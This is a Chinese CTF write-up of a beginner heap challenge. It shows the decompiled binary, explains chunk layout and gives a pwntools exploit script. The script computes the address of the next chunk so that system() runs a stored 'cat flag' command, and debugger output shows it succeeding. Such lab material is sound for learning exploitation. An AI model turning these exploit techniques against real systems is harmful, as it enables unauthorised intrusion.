堆的基本概念

1.1 堆的基本概念

虚拟机所在目录

E:\ctf\pwn-self

进入虚拟机的pwndocker环境

holyeyes@ubuntu:~$ pwd
/home/holyeyes
holyeyes@ubuntu:~$ sudo ./1run.sh

IDA分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *v4; // [rsp+20h] [rbp-10h]
char *command; // [rsp+28h] [rbp-8h]

init();
puts(“Welcome to my easy heap challenge 4!”);
v4 = malloc(0x80uLL);
printf(“heap addr: %llx\n”, v4);
strcpy((char *)malloc(0x80uLL), “cat flag\n”);
puts(“Where is your flag?”);
command = (char *)read_int();
system(command);
return 0;
}

PWNgdb分析

chmod +x pwn
pwndbg> r
Starting program: /ctf/work/erjinzhi/1.1/pwn
Welcome to my easy heap challenge 4!
heap addr: 602010
Where is your flag?

原理

0 堆的位置与作用

0.1

在这里插入图片描述

0.2

在这里插入图片描述

1 chunk的概念

在这里插入图片描述

2 chunk的实现原理

2.1

在这里插入图片描述

2.2

在这里插入图片描述

2.3

在这里插入图片描述

2.4

在这里插入图片描述

思路分析

堆的基本概念考察,堆是连续分布的,以chunk为单位提供给用户使用
程序给出了一个chunk的地址,逆向可知该chunk的大小为0x90(0x80的data加上0x10的头部)。
随后将一个字符串复制到另一个chunk中。
strcpy(malloc(0x80), “cat flag\n”);
由于两个chunk是连续分配的,所以可知chunk2就在chunk1的后面,字符串的地址为返回的chunk1的mem地址加上0x80的chunk1 data再加一个chunk2的头部。

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pickle import TRUE
from pwn import *
import sys

context.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'

DEBUG = 1

LOCAL = True
BIN   ='./pwn'
HOST  ='node5.buuoj.cn'
PORT  =29924




def get_base_address(proc):
	return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(bps,_s):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in bps:
        script += "b *0x%x\n"%(PIE+bp)
    script += _s
    gdb.attach(p,gdbscript=script)



def exploit(p):

	p.recvuntil("heap addr:")
    heap = int(p.recvline(), 16)
	p.sendlineafter("flag?\n", str(heap + 0x90))
	p.interactive()
	return

if __name__ == "__main__":
	elf = ELF(BIN)
	if len(sys.argv) > 1:
		LOCAL = False
		p = remote(HOST, PORT)
		exploit(p)
	else:
		LOCAL = True
		p = process(BIN)
		log.info('PID: '+ str(proc.pidof(p)[0]))
		# pause
		if DEBUG:
			debug([],"")
		exploit(p)

运行结果

tmux
ctrL+b+:set -g mouse on

root@pwn_test1604:/ctf/work/erjinzhi/1.1# python 1.py                                     │ RSP  0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov    dword ptr [rbp - 0x24], eax
[DEBUG] PLT 0x40065c puts                                                                 │ RIP  0x7fa19c36b260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
[DEBUG] PLT 0x40065c puts                                                                 │────────────────────────────────────────[ DISASM ]────────────────────────────────────────
[DEBUG] PLT 0x400670 __stack_chk_fail                                                     │ ► 0x7fa19c36b260 <__read_nocancel+7>     cmp    rax, -0xfff
[DEBUG] PLT 0x400680 system                                                               │   0x7fa19c36b266 <__read_nocancel+13>    jae    read+73 <0x7fa19c36b299>
[DEBUG] PLT 0x400690 printf                                                               │    ↓
[DEBUG] PLT 0x4006a0 read                                                                 │   0x7fa19c36b299 <read+73>               mov    rcx, qword ptr [rip + 0x2ccbd8]
[DEBUG] PLT 0x4006b0 __libc_start_main                                                    │   0x7fa19c36b2a0 <read+80>               neg    eax
[DEBUG] PLT 0x4006c0 malloc                                                               │   0x7fa19c36b2a2 <read+82>               mov    dword ptr fs:[rcx], eax
[DEBUG] PLT 0x4006d0 setvbuf                                                              │   0x7fa19c36b2a5 <read+85>               or     rax, 0xffffffffffffffff
[DEBUG] PLT 0x4006e0 atol                                                                 │   0x7fa19c36b2a9 <read+89>               ret    
[DEBUG] PLT 0x4006f0 __gmon_start__                                                       │ 
[*] '/ctf/work/erjinzhi/1.1/pwn'                                                          │   0x7fa19c36b2aa                         nop    word ptr [rax + rax]
    Arch:     amd64-64-little                                                             │   0x7fa19c36b2b0 <write>                 cmp    dword ptr [rip + 0x2d2489], 0 <0x7fa19c63
    RELRO:    Partial RELRO                                                               │d740>
    Stack:    Canary found                                                                │   0x7fa19c36b2b7 <write+7>               jne    write+25 <0x7fa19c36b2c9>
    NX:       NX enabled                                                                  │    ↓
    PIE:      No PIE (0x400000)                                                           │   0x7fa19c36b2c9 <write+25>              sub    rsp, 8
[+] Starting local process './pwn': pid 469                                               │────────────────────────────────────────[ STACK ]─────────────────────────────────────────
[*] PID: 469                                                                              │00:0000│ rsp  0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov    dword ptr [rbp - 0x24], e
[DEBUG] Wrote gdb script to '/tmp/pwnrptYUI.gdb'                                          │ax
    file ./pwn                                                                            │01:0008│      0x7ffd509fd6e0 ◂— 0x13
    handle SIGALRM ignore                                                                 │02:0010│      0x7ffd509fd6e8 —▸ 0x7fa19c639620 (_IO_2_1_stdout_) ◂— 0xfbad2887
    set $_base = 0x400000                                                                 │03:0018│ rsi  0x7ffd509fd6f0 —▸ 0x400a0e ◂— push   rdi /* 'Where is your flag?' */
[*] running in new terminal: /usr/bin/gdb -q  "./pwn" 469 -x "/tmp/pwnrptYUI.gdb"         │04:0020│      0x7ffd509fd6f8 —▸ 0x7fa19c2e37fa (puts+362) ◂— cmp    eax, -1
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q  "./pwn" │05:0028│      0x7ffd509fd700 ◂— 0x0
469 -x "/tmp/pwnrptYUI.gdb"']                                                             │06:0030│      0x7ffd509fd708 ◂— 0xbfc2dfd72a027f00
[+] Waiting for debugger: Done                                                            │07:0038│ rbp  0x7ffd509fd710 —▸ 0x7ffd509fd750 —▸ 0x400950 (__libc_csu_init) ◂— push   r15
[DEBUG] Received 0x4c bytes:                                                              │──────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
    'Welcome to my easy heap challenge 4!\n'                                              │ ► f 0     7fa19c36b260 __read_nocancel+7
    'heap addr: 22be010\n'                                                                │   f 1           400884 read_int+45
    'Where is your flag?\n'                                                               │   f 2           40092f main+124
[DEBUG] Sent 0x9 bytes:                                                                   │   f 3     7fa19c294830 __libc_start_main+240
    '36429984\n'                                                                          │pwndbg> c
[*] Switching to interactive mode                                                         │Continuing.
[DEBUG] Received 0xf bytes:                                                               │[New process 481]
    'flag{11111111}\n'                                                                    │process 481 is executing new program: /bin/dash
flag{11111111}[New process 482]
[*] Process './pwn' stopped with exit code 0 (pid 469)                                    │process 482 is executing new program: /bin/cat
[*] Got EOF while reading in interactive                                                  │[Inferior 3 (process 482) exited normally]
$           

pwndbg> parseheap
    file ./pwn                                                                            │addr                prev                size                 status              fd       
    handle SIGALRM ignore                                                                 │         bk                
    set $_base = 0x400000                                                                 │0x192c000           0x0                 0x90                 Used                None     
[*] running in new terminal: /usr/bin/gdb -q  "./pwn" 624 -x "/tmp/pwnR_WTJ8.gdb"         │         None
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q  "./pwn" │0x192c090           0x0                 0x90                 Used                None     
624 -x "/tmp/pwnR_WTJ8.gdb"']                                                             │         None
[+] Waiting for debugger: Done                                                            │pwndbg> x/20gx 0x192c000
[DEBUG] Received 0x4c bytes:                                                              │0x192c000:      0x0000000000000000      0x0000000000000091
    'Welcome to my easy heap challenge 4!\n'                                              │0x192c010:      0x0000000000000000      0x0000000000000000
    'heap addr: 192c010\n'                                                                │0x192c020:      0x0000000000000000      0x0000000000000000
    'Where is your flag?\n'                                                               │0x192c030:      0x0000000000000000      0x0000000000000000
[DEBUG] Sent 0x9 bytes:                                                                   │0x192c040:      0x0000000000000000      0x0000000000000000
    '26394784\n'                                                                          │0x192c050:      0x0000000000000000      0x0000000000000000
[*] Switching to interactive mode                                                         │0x192c060:      0x0000000000000000      0x0000000000000000
$                                                                                         │0x192c070:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c080:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c090:      0x0000000000000000      0x0000000000000091
                                                                                          │pwndbg> x/20gx 0x192c090
                                                                                          │0x192c090:      0x0000000000000000      0x0000000000000091
                                                                                          │0x192c0a0:      0x67616c6620746163      0x000000000000000a
                                                                                          │0x192c0b0:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c0c0:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c0d0:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c0e0:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c0f0:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c100:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c110:      0x0000000000000000      0x0000000000000000
                                                                                          │0x192c120:      0x0000000000000000      0x0000000000020ee1
                                                                                          │pwndbg> 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/964754.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

RabbitMQ深度探索:前置知识

消息中间件&#xff1a; 消息中间件基于队列模式实现异步 / 同步传输数据作用&#xff1a;可以实现支撑高并发、异步解耦、流量削峰、降低耦合 传统的 HTTP 请求存在的缺点&#xff1a; HTTP 请求基于响应的模型&#xff0c;在高并发的情况下&#xff0c;客户端发送大量的请求…

JDK9新特性

文章目录 新特性&#xff1a;1.模块化系统使用模块化module-info.java&#xff1a;exports&#xff1a;opens&#xff1a;requires&#xff1a;provides&#xff1a;uses&#xff1a; 2.JShell启动Jshell执行计算定义变量定义方法定义类帮助命令查看定义的变量&#xff1a;/var…

合宙air001使用命令行烧写固件

起因&#xff1a; 做了个小板子给同事使用&#xff0c;但同事没有air001的arduino编译烧录环境&#xff0c;安装的话&#xff0c;对于没有接触过arduino的人有些复杂&#xff0c;所以想着能不能直接烧录编译好的固件&#xff1b; 经过&#xff1a; 在网上搜索相关教程&#…

manimgl安装

一、环境 笔记本 $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 22.04.5 LTS Release: 22.04 Codename: jammy二、安装miniconda3 manimgl基于python开发&#xff0c;为了防止将笔记本中已有的python环境破坏&#xff0c;因此…

Python aiortc API

本研究的主要目的是基于Python aiortc api实现抓取本地设备&#xff08;摄像机、麦克风&#xff09;媒体流实现Web端预览。本文章仅仅描述实现思路&#xff0c;索要源码请私信我。 demo-server解耦 原始代码解析 http服务器端 import argparse import asyncio import json…

编程AI深度实战:大模型哪个好? Mistral vs Qwen vs Deepseek vs Llama

随着开源 LLM 的发展&#xff0c;越来越多的模型变得专业化&#xff0c;“代码”LLM 变得非常流行。这些 LLM 旨在比其 “常识” 对应物更小&#xff0c;但旨在超越更大的通用模型的编码性能。 这些模型以极低的成本提供大型模型的功能&#xff0c;进一步使本地 LLM 空间民主化…

DeepSeek:全栈开发者视角下的AI革命者

目录​​​​​​​ DeepSeek&#xff1a;全栈开发者视角下的AI革命者 写在前面 一、DeepSeek的诞生与定位 二、DeepSeek技术架构的颠覆性突破 1、解构算力霸权&#xff1a;从MoE架构到内存革命 2、多模态扩展的技术纵深 3、算法范式的升维重构 4、重构AI竞争规则 三、…

SQL入门到精通 理论+实战 -- 在 MySQL 中学习SQL语言

目录 一、环境准备 1、MySQL 8.0 和 Navicat 下载安装 2、准备好的表和数据文件&#xff1a; 二、SQL语言简述 1、数据库基础概念 2、什么是SQL 3、SQL的分类 4、SQL通用语法 三、DDL&#xff08;Data Definition Language&#xff09;&#xff1a;数据定义语言 1、操…

HTB:EscapeTwo[WriteUP]

目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用nmap对靶机…

一文讲解Java中的ArrayList和LinkedList

ArrayList和LinkedList有什么区别&#xff1f; ArrayList 是基于数组实现的&#xff0c;LinkedList 是基于链表实现的。 二者用途有什么不同&#xff1f; 多数情况下&#xff0c;ArrayList更利于查找&#xff0c;LinkedList更利于增删 由于 ArrayList 是基于数组实现的&#…

多无人机--强化学习

这个是我对于我的大创项目的构思&#xff0c;随着时间逐渐更新 项目概要 我们的项目平台来自挑战杯揭绑挂帅的无人机对抗项目&#xff0c;但是在由于时间原因&#xff0c;并未考虑强化学习&#xff0c;所以现在通过大创项目来弥补遗憾 我们项目分为三部分&#xff0c;分为虚…

龙芯+FreeRTOS+LVGL实战笔记(新)——16数码管驱动

本专栏是笔者另一个专栏《龙芯+RT-Thread+LVGL实战笔记》的姊妹篇,主要的区别在于实时操作系统的不同,章节的安排和任务的推进保持一致,并对源码做了完善与优化,各位可以前往本人在B站的视频合集(图1所示)观看所有演示视频,合集首个视频链接为: https://www.bilibili.…

Day36-【13003】短文,数组的行主序方式,矩阵的压缩存储,对称、三角、稀疏矩阵和三元组线性表,广义表求长度、深度、表头、表尾等

文章目录 本次课程内容第四章 数组、广义表和串第一节 数组及广义表数组的基本操作数组的顺序存储方式-借用矩阵行列式概念二维数组C语言对应的函数-通常行主序方式 矩阵的压缩存储对称矩阵和三角矩阵压缩存储后&#xff0c;采用不同的映射函数稀疏矩阵-可以构成三元组线性表三…

[Python人工智能] 四十九.PyTorch入门 (4)利用基础模块构建神经网络并实现分类预测

从本专栏开始,作者正式研究Python深度学习、神经网络及人工智能相关知识。前文讲解PyTorch构建回归神经网络。这篇文章将介绍如何利用PyTorch构建神经网络实现分类预测,其是使用基础模块构建。前面我们的Python人工智能主要以TensorFlow和Keras为主,而现在最主流的深度学习框…

Java进阶14 TCP日志枚举

Java进阶14 TCP&日志&枚举 一、网络编程TCP Java对基于TCP协议得网络提供了良好的封装&#xff0c;使用Socket对象来代表两端的通信端口&#xff0c;并通过Socket产生IO流来进行网络通信。 1、TCP协议发数据 1.1 构造方法 方法 说明 Socket(InetAddress address…

Java三十天速成(java进阶篇)

Day 15 一、集合框架 1、集合框架图 2、数据结构&#xff1a; ①、逻辑结构&#xff1b; 在计算机科学中&#xff0c;逻辑结构是指数据元素之间的关系&#xff0c;它描述了数据元素之间的逻辑联系&#xff0c;而不是它们在计算机内存中的物理存储方式。逻辑结构可以分为以下…

专门记录台式电脑常见问题

1、蓝屏死机&#xff0c;检查内存硬盘和cpu 2、拆内存条&#xff0c;用橡皮擦金手指 3、放主板静电&#xff0c;扣主板电池 4、系统时间不正确&#xff0c;主板电池没电 5、开机键坏了 6、电脑主机的风扇转&#xff0c;正常通电运行&#xff0c;但显示器没信号。看键盘的num键&…

ubuntu22.40安装及配置静态ip解决重启后配置失效

遇到这种错误&#xff0c;断网安装即可&#xff01; 在Ubuntu中配置静态IP地址的步骤如下。根据你使用的Ubuntu版本&#xff08;如 Netplan 或传统的 ifupdown&#xff09;&#xff0c;配置方法有所不同。以下是基于 Netplan 的配置方法&#xff08;适用于Ubuntu 17.10及更高版…

北大AGI与具身智能评估新范式!Tong测试:基于动态具身物理和社会互动的评估标准

作者&#xff1a;Yujia Peng, Jiaheng Han, Zhenliang Zhang, Lifeng Fan, Tengyu Liu, Siyuan Qi, Xue Feng, Yuxi Ma, Yizhou Wang, Song-Chun Zhu 单位&#xff1a;北京通用人工智能研究院国家通用人工智能重点实验室&#xff0c;北京大学人工智能研究所&#xff0c;北京大…

DeePseek结合PS!批量处理图片的方法教程

​ ​ 今天我们来聊聊如何利用deepseek和Photoshop&#xff08;PS&#xff09;实现图片的批量处理。 传统上&#xff0c;批量修改图片尺寸、分辨率等任务往往需要编写脚本或手动处理&#xff0c;而现在有了AI的辅助&#xff0c;我们可以轻松生成PS脚本&#xff0c;实现自动化处…